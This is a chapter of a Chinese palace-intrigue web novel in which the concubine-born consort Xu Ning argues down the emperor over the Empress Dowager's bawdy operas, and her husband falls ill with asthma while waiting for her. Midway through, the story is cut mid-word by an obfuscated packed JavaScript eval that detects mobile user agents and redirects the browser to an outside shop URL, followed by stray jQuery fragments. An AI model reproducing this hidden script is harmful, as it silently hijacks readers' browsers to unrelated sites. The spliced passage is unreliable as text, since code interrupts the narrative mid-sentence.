第 65 章 哮症

作品:《佛系庶女生存手册

    有人告状告到跟前,景德帝自不能视而不见,思量一番后,还是亲身去了慈宁宫。


    徐宁正狐假虎威把个年方十六的小旦唤到跟前来,准备掐掐他的脸呢,手感一定很不错——邓太后也就三分钟热度,上回那个虽然俊俏,可一见她就吓得眼泪汪汪的,令她兴味索然,遂迅速转移目标。


    这个明显比那个要圆滑成熟得当,看五官分布也已长开,徐宁很怀疑他谎报了岁数,指不定已年过二十,听说戏班子里是年岁越小越吃香的。


    举止也没有半分羞怯,反倒于含蓄中透着股任君采撷的意味,徐宁很怀疑,即便邓太后要收这乔官当面首,他也会慨然同意,被富婆看上是多好的事呀。


    可惜邓太后并没有那种意思,并非心有余而力不足,而是,她对先帝还是挺有感情的——当初正是先帝爷从一众知书达理色艺双绝的闺秀里挑中了她,使她脱离苦海,她又怎会不感激这番知遇之恩呢?


    如今不过找找乐子,看着这些花朵般娇艳迷人的面孔,让她想到自己年轻时的岁月,苦乐交织的、难以忘却的回忆。


    徐宁也打算顺便沾光,这就跟现代的明星握手会差不多,能在戏班子里熬出头的,多少是个角儿,这么近距离的接触多么难得。


    然而还不待她伸出咸猪手,太监那句皇上驾到就把她吓得缩了回去,赶紧屈膝行礼,再不敢胡作非为。


    景德帝瞧着倒觉可乐,老五这媳妇胆子可真不小,竟调戏起伶人来了,就不知老五背后作何感想。


    徐宁实在冤枉,她才刚起了点贼心有木有?连毛孔都没碰到哩。


    景德帝命其起身,对邓太后笑道:“朕听闻慈宁宫热闹非凡,如今瞧着果然不一般。”


    邓太后懒得睬他,一看便知有人告状,否则皇帝岂会白跑一趟?


    宫里就是这点讨厌,她堂堂一个太后都不能找点乐子,举动都有人监视,这和以前被关在庄子上有何分别?


    景德帝知母后不愿自己扫兴,却还是耐着性子道:“母后要听戏,南府那里就有不少好本子,朕让他们天天排演,又何必……”


    瞥了眼抖得跟筛糠似的小旦,婉转道:“听这些村野俚语,不登大雅之堂。”


    无须细审,他也知道方才排的是什么,那罗帐就架在高台上哩


    。


    邓太后愈发面若寒霜,她当然知道儿子为她好,可她不是来听教训的。


    徐宁大着胆子道:“陛下错怪太后娘娘了,诗词有优劣之分,戏曲却无雅俗之别,阳春白雪、下里巴人,能让观众喝彩的便都是好戏。”


    景德帝淡淡道,“哦,这《入帐》也是?”


    声音里多了几分威严。


    徐宁并未害怕,反倒暗戳戳想着,您一口叫得出名字,莫不是自己也私下看过?


    当然她没拆穿,只从容道:“自然,饮食男女人之大欲也,有何污秽可言?西厢、牡丹,京城几乎人人都能传诵,里头也不乏两情欢好之语呢。”


    按老学究的标准,这两部是否也该被贬为低俗?那世上简直无戏可听了。


    邓太后来了底气,没错,凭什么那些贵妇喜欢的就是好的,她听的就是坏的?简直毫无道理。


    景德帝没见过这么会诡辩的人,大部分一见到他就吓得两腿发软了,哪还能振振有词?老五那笨嘴拙舌的,娶的媳妇竟是这般。


    景德帝不与她争辩,而是另换了个话题,“方才你要做什么?”


    别以为他瞧不见,儿媳妇的手快伸到那小旦脸上去了,得亏儿子生得够俊,否则头上怕是会多出顶绿帽子。


    徐宁毫不心虚,“儿臣想知道他脸上油彩怎么画的,好为太后登台献艺。”


    景德帝道:“身为内命妇,一举一动皆为臣民窥探,当谨言慎行。”


    这话也顺便点了温妃,可见景德帝对戏彩娱亲其实是不太认可的。


    徐宁道:“郭巨埋儿奉母,董永卖身葬父,尚且为后人所称道,只是演几出小戏便可令太后娘娘舒心,开怀畅意,有何不可呢?”


    景德帝被怼得哑口无言,这样看,好像确实不算什么大事。比起李凤娘那回当庭献舞惹出的麻烦,徐宁只是关起门来自娱自乐,似乎还显得克制多了。


    徐宁道:“支持陛下的自不消说,那些拦着不让陛下对太后娘娘尽孝的人,才真正其心可诛,陛下当严查才是。”


    这话成功引起景德帝疑心,太后散淡惯了,久不问六宫事,陈贵妃又何必多此一举?莫非忌惮静王妃得太后青睐,唯恐储位有变?好个陈氏,俨然把自己当成太子之母了。


    温妃母子


    自请就藩,且不似作假,景德帝心里去了许多防备,只是寻常尽孝,本不必大惊小怪,那些借题发挥之人,背后算计却不知如何龌龊。


    景德帝转了好几回念头,本想说教的心也淡了,罢了,母后她老人家年事已高,放纵些便放纵些,即便真弄个面首在宫里,他……也装作看不见罢了。


    他又不是秦始皇,还怕赵姬弄出个私生子夺了权位。


    景德帝道:“如此,你便好好陪伴太后吧,只别忘了老五那边,叫他牵肠挂肚。”


    女人家相夫教子才是第一要务,母后也真是,让人家小夫妻分隔两地,自己还怎么抱孙子?


    徐宁恭敬应是。


    皇帝去后,徐宁才长长松了口气,感觉背上都汗湿了。天子之威伏尸百万流血千里,真不是盖的。


    邓太后夸她口齿伶俐,不过方才登台演出那番话就算了,她一个刚成婚的姑娘家,怎么好演那种戏,老五面子上也搁不住。


    若是夫妻合演倒也罢了。


    徐宁:……您老人家真不是在开车吗?


    景德帝回去后将陈贵妃训斥一番,又把协理六宫之权移交给胡贵妃,显然是怪她不该趁乱拱火。


    陈贵妃笑都笑不出,再想不到那边相安无事,倒把自己给赔进去。


    侍女朝昭阳殿方向指了指,“明知那位没安好心,您怎么还肯听她话?”


    这下可好,始作俑者反倒捡了漏去。


    陈贵妃木着脸,她能有什么办法,身为贵妃就得维持六宫安宁,难道要她眼睁睁瞧着却什么也不做?那也不是她了。


    侍女无言以对,她这主子就是左性了点,丁是丁卯是卯的,可你还没当上皇后,就拿皇后的标准来要求自己,是否太自以为是了些?


    人得先认清楚自个儿身份,才能想其他呀!


    胡贵妃成功压了老冤家一头,心中固然遂意,却也对徐宁更加警惕,能从万岁爷手底下全身而退,这姑娘口齿真不是盖的。再想想自家那个泥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992753|128889||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人似的儿媳妇,胡贵妃就十分怨念,这徐氏女若早生几年,将她聘来给吴王做正妻该多好——至于自己看不看得上一个庶女,胡贵妃就懒得考虑了,反正她只是想想而已。


    如今落入敌手,便注定要做对头。


    当然,胡贵妃变脸的速度亦是一


    绝,既然太后喜欢,皇帝也不说什么了,那她当然得好好奉承这位娇客才是。于是徐宁见天儿都能收到胡氏送来的吃食绸缎,着实啼笑皆非,她这也算狗仗人势了吧,否则堂堂一位贵妃,何必对她卑躬屈膝。


    温妃暗骂胡氏阴险,别人的儿媳妇要你示好个什么劲,唯恐徐宁被口蜜腹剑迷惑了去,还好徐宁很清楚,每日都会来永福宫请安——闲着也是闲着,就当散步减肥了。


    温妃就劝她该回去看看,几日不见消息,也不知王府里如何了。


    徐宁也想啊,但是邓太后不肯放人,她能有什么办法?直至长公主进宫填了她的缺,徐宁才得以抽身,由着她跟邓太后夸夸其谈去——这位更是重量级,毕竟公主府上是真养了面首的。


    习惯了皇宫里的骄奢淫逸,如今骤然呼吸到外头新鲜空气,徐宁精神为之一振。


    可惜没见到那人前来迎接,令她有点点失望,明明她已经给府里送了信,就不能稍稍告个假吗?


    好在姜管事是办事办老的,由他来或许更为妥帖。


    徐宁由半夏搀扶着上车,到底按捺不住,隔着车窗问了句,“你家王爷呢?”


    姜管事就盼着这句话呢,当下犹如滔滔江水连绵不绝,原来齐恒因犯了哮症卧床静养,大夫叮嘱不得见风,因此只好由他代劳。


    徐宁觉得自家夫君真是娇弱啊,这不妥妥男版林黛玉?真怀疑书里那个王朝能延续几年,难不成以后还要她垂帘听政?


    姜管事见她一副轻描淡写神情,很是不忿,“王妃,主子可是为您病倒的。”


    怎能毫不当回事,还往人家伤口上撒盐呢?


    徐宁愕然,人在家中坐,锅从天上来?


    姜管事便告诉她,虽然太后这几日留她在慈宁宫暂住,可静王依旧会于晚间在此等候,就盼着太后心血来潮或是腻了,将她撵出宫来,他好随时接应。


    徐宁:……这是见不得我好啊。


    “本来春日里花粉就多,殿下又穿得单薄,这一下寒气侵体,旧症便又复发了。”姜管事语气十分沉痛。


    本来他是很喜欢王妃的,可殿下为了她作践成这副模样,着实觉得王妃像个红颜祸水。


    徐宁:谢谢,这好像夸人的话。


    她忍不住道:“既如此,你们怎不帮殿下戴个幂篱什么的?总好过在风口里干站着。”


    明知他有哮症,还故意让他吸入那些花粉,别是存心的吧?


    目光瞬间凌厉起来。


    姜管事:……好办法,他怎么没想到?


    等等,不是他来质问王妃的么?怎么王妃反倒质问起他来?这下有理也变没理了。


    作者有话要说


    感谢在2024-07-0922:07:29~2024-07-0923:49:35期间为我投出霸王票或灌溉营养液的小天使哦~


    感谢灌溉营养液的小天使:鱼鱼10瓶;


    非常感谢大家对我的支持,我会继续努力的!